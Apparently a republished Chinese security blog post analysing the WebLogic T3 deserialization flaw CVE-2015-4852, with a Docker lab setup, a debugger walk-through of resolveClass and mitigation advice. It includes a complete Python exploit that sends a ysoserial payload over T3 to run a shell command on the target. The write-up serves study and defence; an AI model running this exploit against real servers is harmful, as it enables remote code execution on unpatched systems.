Java安全之初探weblogic T3协议漏洞
mhr18 2024-10-02 16:50 19 浏览 0 评论
0x00 前言
在反序列化漏洞里面就经典的还是莫过于weblogic的反序列化漏洞,在weblogic里面其实反序列化漏洞利用中大致分为两种,一个是基于T3协议的反序列化漏洞,一个是基于XML的反序列化漏洞。当然也还会有一些SSRF和任意文件上传漏洞,但是在这里暂且不谈。
下面来列出两个漏洞类型的一些漏洞编号
基于T3协议漏洞: CVE-2015-4582、CVE-2016-0638、CVE-2016-3510、CVE-2018-2628、CVE-2020-2555、CVE-2020-2883
基于XML:CVE-2017-3506、CVE-2017-10271、CVE-2019-2729
粗略的列了几个代表性的CVE漏洞。
在Weblogic中,有部分漏洞是基于上几个漏洞的补丁进行的一个绕过。而在前一段时间内,CVE-2020-14882和CVE-2020-14883里面14883就是基于14882的补丁去进行的一个绕过。
0x01 浅析T3协议
关于T3协议的絮絮叨叨
关于这个T3协议,他是Weblogic里面独有的一个协议,在前面写的一篇关于RMI的文章里面提到过RMI的传输过程是传输的序列化数据,而在接收后会进行一个反序列化的操作。在Weblogic中对RMI规范的实现使用T3协议。而在T3的传输过程也是一样的。
下面对T3协议的传输过程、如何执行的反序列化操作、T3协议的执行流程去进行一个分析。
在之前先来看一张weblogic进行反序列化的执行流程图。
这里借用了一个图片,在该漏洞的一个入口点是weblogic里面的方法调用了原生的反序列化方法进行一个反序列化操作。
而这里还需要知道该方法在传输完成后是如何进行调用的。关于原生反序列化的操作原理这里就不讲了,可以看到我的该篇文章。
Java安全之原生readObject方法解读,这里主要来讲一下T3协议的相关内容。
T3协议概述
WebLogic Server 中的 RMI 通信使用 T3 协议在 WebLogic Server 和其他 Java 程序(包括客户端及其他 WebLogic Server 实例)间传输数据。
T3协议结构
在T3的这个协议里面包含请求包头和请求的主体这两部分内容。
请求包头
这里拿2个CVE-2015-4852的POC来进行讲解。
t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001
这里就是他的请求包的头。
使用Wireshark对它进行抓包,由于配置的网卡抓不到包,靶机地址会在23段和1段的ip中来回切换。
这里为了能抓到包配置了一个nat模式的网卡,进行抓包,地址为192.168.23.130,改一下poc的目标地址,发送payload。
在这里在发送请求包头的时候,打了个断点,让脚本只发送请求包头数据,方便抓包。打开Wireshark抓包后发现,发送该请求包头后,服务端weblogic会有一个响应
HELO后面的内容则是被攻击方的weblogic版本号,在发送请求包头后会进行一个返回weblogic的版本号。
请求主体
在T3协议里面传输的都是序列化数据,这个在前面也说过,而传输中的数据分为七部分内容。第一部分为协议头。即t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n这串数据。
来看到下面的图,图片取自z_zz_zzz师傅的修复weblogic的JAVA反序列化漏洞的多种方法文章。
看到第二到第七部分内容,都是ac ed 00 05,说明该串内容是序列化的数据。而如果需要去构造payload的话,需要在后面序列化的内容中,进行一个替换。将原本存在的序列化内容替换成我们payload的序列化内容,在传输完成后,进行反序列化达成攻击的目的。
- 第一种生成方式为,将weblogic发送的JAVA序列化数据的第二到九部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。
- 第二种生成方式为,将weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。
0x02 漏洞环境搭建
环境搭建
这里借用了A-team 的weblogic漏洞环境项目来做搭建环境,省去不必要的麻烦。
漏洞环境地址:https://github.com/QAX-A-Team/WeblogicEnvironment
jdk地址:https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html
weblogic下载地址:https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html
这里需要把下载好的jdk文件放在该项目的jdks文件夹下,weblogic的源码放在weblogics文件夹下。
编译运行
docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk7u21 .
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21
然后在这里需要去将一些weblogic的依赖Jar包给导出来进行远程调试。
mkdir ./middleware
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./middleware/
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver ./middleware/
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib
如果不想这么麻烦的话可以直接运行对于的.sh脚本,比如这里安装的是1036 jdk是7u21 ,直接运行run_weblogicjdk7u21.sh,自动安装以及自动从容器里面导出jar包。
远程调试
在这里将jar包复制到物理机上,然后打开IDEA创建一个空项目进行导入。
完成后就来配置远程调试
为了测试,这里使用WeblogicScan来扫描一下,看看在断点地方会不会停下。
在这里发现已经可以进行远程调试,后面我们就可以来分析漏洞了。
0x03 漏洞分析
漏洞复现
在这先来讲漏洞复现一下后,再进行漏洞的分析
还是拿exp为例子,但是我们这里是docker搭建的环境,也没有构造回显。常用的弹出计算器,就算执行了也没法显示出来,所以在这里使用创建文件的方式验证该漏洞是否利用成功。
import socket
import sys
import struct
import re
import subprocess
import binascii
def get_payload1(gadget, command):
JAR_FILE = './ysoserial.jar'
popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
return popen.stdout.read()
def get_payload2(path):
with open(path, "rb") as f:
return f.read()
def exp(host, port, payload):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
sock.sendall(handshake)
data = sock.recv(1024)
pattern = re.compile(r"HELO:(.*).false")
version = re.findall(pattern, data.decode())
if len(version) == 0:
print("Not Weblogic")
return
print("Weblogic {}".format(version[0]))
data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
payload = data_len + t3header + flag + payload
payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度
sock.send(payload)
if __name__ == "__main__":
host = "192.168.1.40"
port = 7001
gadget = "Jdk7u21" #CommonsCollections1 Jdk7u21
command = "touch /tmp/CVE-2015-4852"
payload = get_payload1(gadget, command)
exp(host, port, payload)
执行完成后,查看docker容器里面的文件。
docker exec weblogic1036jdk7u21 ls tmp/
执行成功。
在执行exp的时候,如果开启debug去查看其实不难发现,发送t3的报文头信息以后会在返回包里面回显weblogic的版本号。
可以看到,后面通过正则提取了返回包的数据,拿到该版本号信息。
漏洞分析
T3协议接收过来的数据会在weblogic.rjvm.InboundMsgAbbrev#readObject这里进行反序列化操作。
来直接定位到该位置,可以看到断点的位置,里面调用了InboundMsgAbbrev.ServerChannelInputStream#readObject方法,查看一下
这里调用创建一个内部类,并且调用readObject方法,还需要查看一下 ServerChannelInputStream实现。
在这里其实就可以看到ServerChannelInputStream是一个内部类,该类继承ObjectInputStream类,而在这里对resolveClass进行了重写。
但是在此处看到,其实调用的还是父类的resolveClass方法。在resolveClass方法中也没做任何的校验,导致的漏洞产生。
后面来讲讲如何防御到该漏洞。
再谈resolveClass
resolveClass方法的作用是将类的序列化描述符加工成该类的Class对象。
前面分析readObject方法的时候,我们得知了shiro就是重写了resolveClass方法导致很多利用链无法使用,但是shiro在编写的时候,并不是为了防御反序列化漏洞才去重写的resolveClass,但是就是这么一个无意间的举动,导致了防御住了大部分攻击。
而在后面的weblogic补丁当中,也会基于这个resolveClass去做反序列化漏洞的防御。
贴上一张廖师傅的博客的反序列化攻击时序图:
那么这里需要思考到一个问题,为什么要在resolveClass进行一个拦截,而不是其他位置?
resolveClass方法的作用是从类序列化描述符获取类的Class对象,如果在resolveClass中增加一个检查,检查一下该类的序列化描述符中记录的类名是否在黑名单上,如果在黑名单上,直接抛出错误,不允许获取恶意的类的Class对象。这样以来,恶意类连生成Class对象的机会都没有。
来看到这个方法,在我的readObject分析文章里面贴出来一张图,readObject的内部使用Class.forName来从类序列化获取到对应类的一个Class的对象。
那么如果这里加入一个过滤,那么这里如果直接抛出异常的话,在readNonProxyDesc调用完resolveClass方法后,后面的一系列操作都无法完成。
参考文章
http://drops.xmd5.com/static/drops/web-13470.html
Weblogic12c T3 协议安全漫谈
http://redteam.today/2020/03/25/weblogic%E5%8E%86%E5%8F%B2T3%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%8F%8A%E8%A1%A5%E4%B8%81%E6%A2%B3%E7%90%86/
https://xz.aliyun.com/t/8443
0x04 修复方案
这里借鉴z_zz_zzz师傅的文章中提到的weblogic T3协议漏洞的修复方案,除了打补丁外还有其他的修复方案,先来说说打补丁的方式,打补丁其实也是在resolveClass方法中实现拦截。
开放在外网的情况下,还可以采用web代理和负载均衡。
web代理的方式只能转发HTTP的请求,而不会转发T3协议的请求,这就能防御住T3漏洞的攻击。
而负载均衡的情况下,可以指定需要进行负载均衡的协议类型,这么这里就可以设置为HTTP的请求,不接收其他的协议请求转发。这也是在外网中见到T3协议漏洞比较少的原因之一。
0x05 结尾
在这里其实分析比较浅,因为反序列化操作和CC链这一块,我觉得应该单独拿出来说,而不是集成到这个T3协议漏洞里面一并概述。所以在此处并没有对这两块内容进行分析,而这两块内容在前面都有进行分析过,自行查阅。后面的几个T3协议的漏洞,其实也是基于resolveClass的方式进行拦截过后的一个绕过方式,成了一个新的CVE漏洞。
相关推荐
- 【预警通报】关于WebLogic存在远程代码执行高危漏洞的预警通报
-
近日,Oracle官方发布了2021年1月关键补丁更新公告CPU(CriticalPatchUpdate),共修复了包括CVE-2021-2109(WeblogicServer远程代码执行漏洞)...
- 医院信息系统突发应急演练记录(医院信息化应急演练)
-
信息系统突发事件应急预案演练记录演练内容信息系统突发事件应急预案演练参与人员信息科参与科室:全院各部门日期xxxx-xx-xx时间20:00至24:00地点信息科记录:xxx1、...
- 一文掌握怎么利用Shell+Python实现完美版的多数据源备份程序
-
简介:在当今数字化时代,无论是企业还是个人,数据的安全性和业务的连续性都是至关重要的。数据一旦丢失,可能会造成无法估量的损失。因此,如何有效地对分布在不同位置的数据进行备份,尤其是异地备份,成为了一个...
- docker搭建系统环境(docker搭建centos)
-
Docker安装(CentOS7)1.卸载旧版Docker#检查已安装版本yumlistinstalled|grepdocker#卸载旧版本yumremove-ydocker.x...
- 基础篇:数据库 SQL 入门教程(sql数据库入门书籍推荐)
-
SQL介绍什么是SQLSQL指结构化查询语言,是用于访问和处理数据库的标准的计算机语言。它使我们有能力访问数据库,可与多种数据库程序协同工作,如MSAccess、DB2、Informix、M...
- Java21杀手级新特性!3行代码性能翻倍
-
导语某券商系统用这招,交易延迟从12ms降到0.8ms!本文揭秘Oracle官方未公开的Record模式匹配+虚拟线程深度优化+向量API神操作,代码量直降70%!一、Record模式匹配(代码量↓8...
- 一文读懂JDK21的虚拟线程(java虚拟线程)
-
概述JDK21已于2023年9月19日发布,作为Oracle标准Java实现的一个LTS版本发布,发布了15想新特性,其中虚拟线程呼声较高。虚拟线程是JDK21中引入的一项重要特性,它是一种轻量级的...
- 效率!MacOS下超级好用的Linux虚拟工具:Lima
-
对于MacOS用户来说,搭建Linux虚拟环境一直是件让人头疼的事。无论是VirtualBox还是商业的VMware,都显得过于笨重且配置复杂。今天,我们要介绍一个轻巧方便的纯命令行Linux虚拟工具...
- 所谓SaaS(所谓三维目标一般都应包括)
-
2010年前后,一个科技媒体的主编写一些关于云计算的概念性问题,就可以作为头版头条了。那时候的云计算,更多的还停留在一些概念性的问题上。而基于云计算而生的SaaS更是“养在深闺人未识”,一度成为被IT...
- ORA-00600 「25027」 「x」报错(报错0xc0000001)
-
问题现象:在用到LOB大对象的业务中,进行数据的插入,失败了,在报警文件中报错:ORA-00600:内部错误代码,参数:[25027],[10],[0],[],[],[],[],[...
- 安卓7源码编译(安卓源码编译环境lunch失败,uname命令找不到)
-
前面已经下载好源码了,接下来是下载手机对应的二进制驱动执行编译源码命令下载厂商驱动https://developers.google.com/android/drivers?hl=zh-cn搜索NGI...
- 编译安卓源码(编译安卓源码 电脑配置)
-
前面已经下载好源码了,接下来是下载手机对应的二进制驱动执行编译源码命令下载厂商驱动https://developers.google.com/android/drivers?hl=zh-cn搜索NGI...
- 360 Vulcan Team首战告捷 以17.5万美金强势领跑2019“天府杯“
-
2019年11月16日,由360集团、百度、腾讯、阿里巴巴、清华大学与中科院等多家企业和研究机构在成都联合主办了2019“天府杯”国际网络安全大赛暨2019天府国际网络安全高峰论坛。而开幕当日最激荡人...
- Syslog 日志分析与异常检测技巧(syslog发送日志配置)
-
系统日志包含有助于分析网络设备整体运行状况的重要信息。然而,理解并从中提取有效数据往往颇具挑战。本文将详解从基础命令行工具到专业日志管理软件的全流程分析技巧,助你高效挖掘Syslog日志价值。Gr...
- 从Oracle演进看数据库技术的发展(从oracle演进看数据库技术的发展的过程)
-
数据库技术发展本质上是应用需求驱动与基础架构演进的双向奔赴,如何分析其技术发展的脉络和方向?考虑到oracle数据库仍然是这个领域的王者,以其为例,管中窥豹,对其从Oracle8i到23ai版本的核...
你 发表评论:
欢迎- 一周热门
- 最近发表
- 标签列表
-
- oracle位图索引 (74)
- oracle基目录 (50)
- oracle批量插入数据 (65)
- oracle事务隔离级别 (53)
- oracle主从同步 (55)
- oracle 乐观锁 (51)
- redis 命令 (78)
- php redis (88)
- redis 存储 (66)
- redis 锁 (69)
- 启动 redis (66)
- redis 时间 (56)
- redis 删除 (67)
- redis内存 (57)
- redis并发 (52)
- redis 主从 (69)
- redis 订阅 (51)
- redis 登录 (54)
- redis 面试 (58)
- 阿里 redis (59)
- redis 搭建 (53)
- redis的缓存 (55)
- lua redis (58)
- redis 连接池 (61)
- redis 限流 (51)